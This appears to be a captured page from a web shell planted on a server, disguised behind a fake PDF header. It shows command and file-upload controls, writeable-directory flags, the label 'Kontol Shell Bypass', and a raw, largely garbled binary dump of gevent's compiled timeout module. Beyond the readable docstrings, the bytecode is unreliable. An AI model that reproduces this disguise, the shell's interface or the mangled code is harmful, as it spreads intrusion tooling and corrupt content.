%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/gevent/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/gevent/__pycache__/timeout.cpython-39.pyc
a

�_g�2�@s�dZddlmZmZmZddlmZddlmZddl	m
Z
ddlmZ
ddgZGd	d
�d
e�Ze�ZGdd�de�Zdd�Zd
S)a�
Timeouts.

Many functions in :mod:`gevent` have a *timeout* argument that allows
limiting the time the function will block. When that is not available,
the :class:`Timeout` class and :func:`with_timeout` function in this
module add timeouts to arbitrary code.

.. warning::

    Timeouts can only work when the greenlet switches to the hub.
    If a blocking function is called or an intense calculation is ongoing during
    which no switches occur, :class:`Timeout` is powerless.
�)�absolute_import�print_function�division)�string_types)�_NONE)�
getcurrent)�get_hub_noargs�Timeout�with_timeoutc@s`eZdZdZedd��ZeZedd��ZeZZ	dd�Z
dd	�ZeZeZZ
d
d�Zdd
�ZdS)�
_FakeTimer�cCsdS)NFr��selfrr�;/vddos/python/lib/python3.9/site-packages/gevent/timeout.py�pending(sz_FakeTimer.pendingcCsdS)zAlways returns NoneNrr
rrr�seconds.sz_FakeTimer.secondscOstd��dS)Nz$non-expiring timer cannot be started)�AssertionError)r�args�kwargsrrr�start4sz_FakeTimer.startcCsdS�Nrr
rrr�stop8sz_FakeTimer.stopcCs|Srrr
rrr�	__enter__?sz_FakeTimer.__enter__cCsdSrr)rZ_t�_vZ_tbrrr�__exit__Bsz_FakeTimer.__exit__N)�__name__�
__module__�__qualname__�	__slots__�propertyr�activer�timer�	exceptionrr�cancel�closerrrrrrrs

rc@s�eZdZdZddd�Zdd	�Zd
d�Zeddd
��Ze	d dd��Z
edd��Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�ZdS)!r	a�
    Timeout(seconds=None, exception=None, ref=True, priority=-1)

    Raise *exception* in the current greenlet after *seconds*
    have elapsed::

        timeout = Timeout(seconds, exception)
        timeout.start()
        try:
            ...  # exception will be raised here, after *seconds* passed since start() call
        finally:
            timeout.close()

    .. warning::

        You must **always** call `close` on a ``Timeout`` object you have created,
        whether or not the code that the timeout was protecting finishes
        executing before the timeout elapses (whether or not the
        ``Timeout`` exception is raised)  This ``try/finally``
        construct or a ``with`` statement is a good pattern. (If
        the timeout object will be started again, use `cancel` instead
        of `close`; this is rare. You must still `close` it when you are
        done.)

    When *exception* is omitted or ``None``, the ``Timeout`` instance
    itself is raised::

        >>> import gevent
        >>> gevent.Timeout(0.1).start()
        >>> gevent.sleep(0.2)  #doctest: +IGNORE_EXCEPTION_DETAIL
        Traceback (most recent call last):
         ...
        Timeout: 0.1 seconds

    If the *seconds* argument is not given or is ``None`` (e.g.,
    ``Timeout()``), then the timeout will never expire and never raise
    *exception*. This is convenient for creating functions which take
    an optional timeout parameter of their own. (Note that this is **not**
    the same thing as a *seconds* value of ``0``.)

    ::

       def function(args, timeout=None):
          "A function with an optional timeout."
          timer = Timeout(timeout)
          with timer:
             ...

    .. caution::

        A *seconds* value less than ``0.0`` (e.g., ``-1``) is poorly defined. In the future,
        support for negative values is likely to do the same thing as a value
        of ``None`` or ``0``

    A *seconds* value of ``0`` requests that the event loop spin and poll for I/O;
    it will immediately expire as soon as control returns to the event loop.

    .. rubric:: Use As A Context Manager

    To simplify starting and canceling timeouts, the ``with``
    statement can be used::

        with gevent.Timeout(seconds, exception) as timeout:
            pass  # ... code block ...

    This is equivalent to the try/finally block above with one
    additional feature: if *exception* is the literal ``False``, the
    timeout is still raised, but the context manager suppresses it, so
    the code outside the with-block won't see it.

    This is handy for adding a timeout to the functions that don't
    support a *timeout* parameter themselves::

        data = None
        with gevent.Timeout(5, False):
            data = mysock.makefile().readline()
        if data is None:
            ...  # 5 seconds passed without reading a line
        else:
            ...  # a line was read within 5 seconds

    .. caution::

        If ``readline()`` above catches and doesn't re-raise
        :exc:`BaseException` (for example, with a bare ``except:``), then
        your timeout will fail to function and control won't be returned
        to you when you expect.

    .. rubric:: Catching Timeouts

    When catching timeouts, keep in mind that the one you catch may
    not be the one you have set (a calling function may have set its
    own timeout); if you going to silence a timeout, always check that
    it's the instance you need::

        timeout = Timeout(1)
        timeout.start()
        try:
            ...
        except Timeout as t:
            if t is not timeout:
                raise # not my timeout
        finally:
            timeout.close()


    .. versionchanged:: 1.1b2

        If *seconds* is not given or is ``None``, no longer allocate a
        native timer object that will never be started.

    .. versionchanged:: 1.1

        Add warning about negative *seconds* values.

    .. versionchanged:: 1.3a1

        Timeout objects now have a :meth:`close`
        method that *must* be called when the timeout will no longer be
        used to properly clean up native resources.
        The ``with`` statement does this automatically.

    NT���FcCsJt�|�||_||_||_|dur,t|_nt�jj|p:d||d�|_dS)Ng)�ref�priority)	�
BaseException�__init__rr"�	_one_shotrr!�get_hub�loop)rrr"r&r'r*rrrr)�s
zTimeout.__init__cCsh|jrtd|��|jdur dS|jdus@|jdus@t|jt�rF|}n|j}|jj|jt	�|dd�dS)zSchedule the timeout.z5%r is already started; to restart it, cancel it firstNFT)�update)
rrrr"�
isinstancerr!r�_on_expirationr)rZthrowsrrrr�s
 z
Timeout.startcCs|�|�dSr)�throw)rZ
prev_greenlet�exrrrr/�szTimeout._on_expirationcCs8t|t�r|js|��|S|||||d�}|��|S)a�Create a started :class:`Timeout`.

        This is a shortcut, the exact action depends on *timeout*'s type:

        * If *timeout* is a :class:`Timeout`, then call its :meth:`start` method
          if it's not already begun.
        * Otherwise, create a new :class:`Timeout` instance, passing (*timeout*, *exception*) as
          arguments, then call its :meth:`start` method.

        Returns the :class:`Timeout` instance.
        )r&r*)r.r	rr)�cls�timeoutr"r&r*rrr�	start_new�s
zTimeout.start_newcCs|durtStj|||dd�S)NT�r*)rr	r4)r3r"r&rrr�_start_new_or_dummy	szTimeout._start_new_or_dummycCs|jjp|jjS)z.True if the timeout is scheduled to be raised.)r!rr r
rrrrszTimeout.pendingcCs|j��|jr|��dS)z�
        If the timeout is pending, cancel it. Otherwise, do nothing.

        The timeout object can be :meth:`started <start>` again. If
        you will not start the timeout again, you should use
        :meth:`close` instead.
        N)r!rr*r$r
rrrr##s
zTimeout.cancelcCs|j��|j��t|_dS)z�
        Close the timeout and free resources. The timer cannot be started again
        after this method has been used.
        N)r!rr$rr
rrrr$/s

z
Timeout.closecCsPt|�j}|jrd}nd}|jdur*d}n
d|j}d|tt|��|j||fS)Nz pending�z
 exception=%rz<%s at %s seconds=%s%s%s>)�typerrr"�hex�idr)r�	classnamerr"rrr�__repr__8s


zTimeout.__repr__cCsb|jdurdS|jdkrdnd}|jdur8d|j|fS|jdurPd|j|fSd|j||jfS)	z�
        >>> raise Timeout #doctest: +IGNORE_EXCEPTION_DETAIL
        Traceback (most recent call last):
            ...
        Timeout
        Nr7��sz%s second%sFz%s second%s (silent)z%s second%s: %s)rr")r�suffixrrr�__str__Ds


zTimeout.__str__cCs|js|��|S)z^
        Start and return the timer. If the timer is already started, just return it.
        )rrr
rrrrVszTimeout.__enter__cCs"|��||ur|jdurdSdS)z�
        Stop the timer.

        .. versionchanged:: 1.3a1
           The underlying native timer is also stopped. This object cannot be
           used again.
        FTN)r$r")r�typ�value�tbrrrr^szTimeout.__exit__)NNTr%F)NNTF)NT)rrr�__doc__r)rr/�classmethodr4�staticmethodr6rrr#r$r<r@rrrrrrr	Hs$�

	c
Os�|�dt�}tj|dd�}zxz||i|��WW|��Sty�}z8||urp|turp|WYd}~W|��S�WYd}~n
d}~00W|��n
|��0dS)aZWrap a call to *function* with a timeout; if the called
    function fails to return before the timeout, cancel it and return a
    flag value, provided by *timeout_value* keyword argument.

    If timeout expires but *timeout_value* is not provided, raise :class:`Timeout`.

    Keyword argument *timeout_value* is not passed to *function*.
    �
timeout_valueTr5N)�poprr	r4r#)r�functionr�kwdsrGr3r1rrrr
ks	��N)rD�
__future__rrrZgevent._compatrZgevent._utilrZgreenletrZgevent._hub_localrr+�__all__�objectrr(r	r
rrrr�<module>s�'%

Kontol Shell Bypass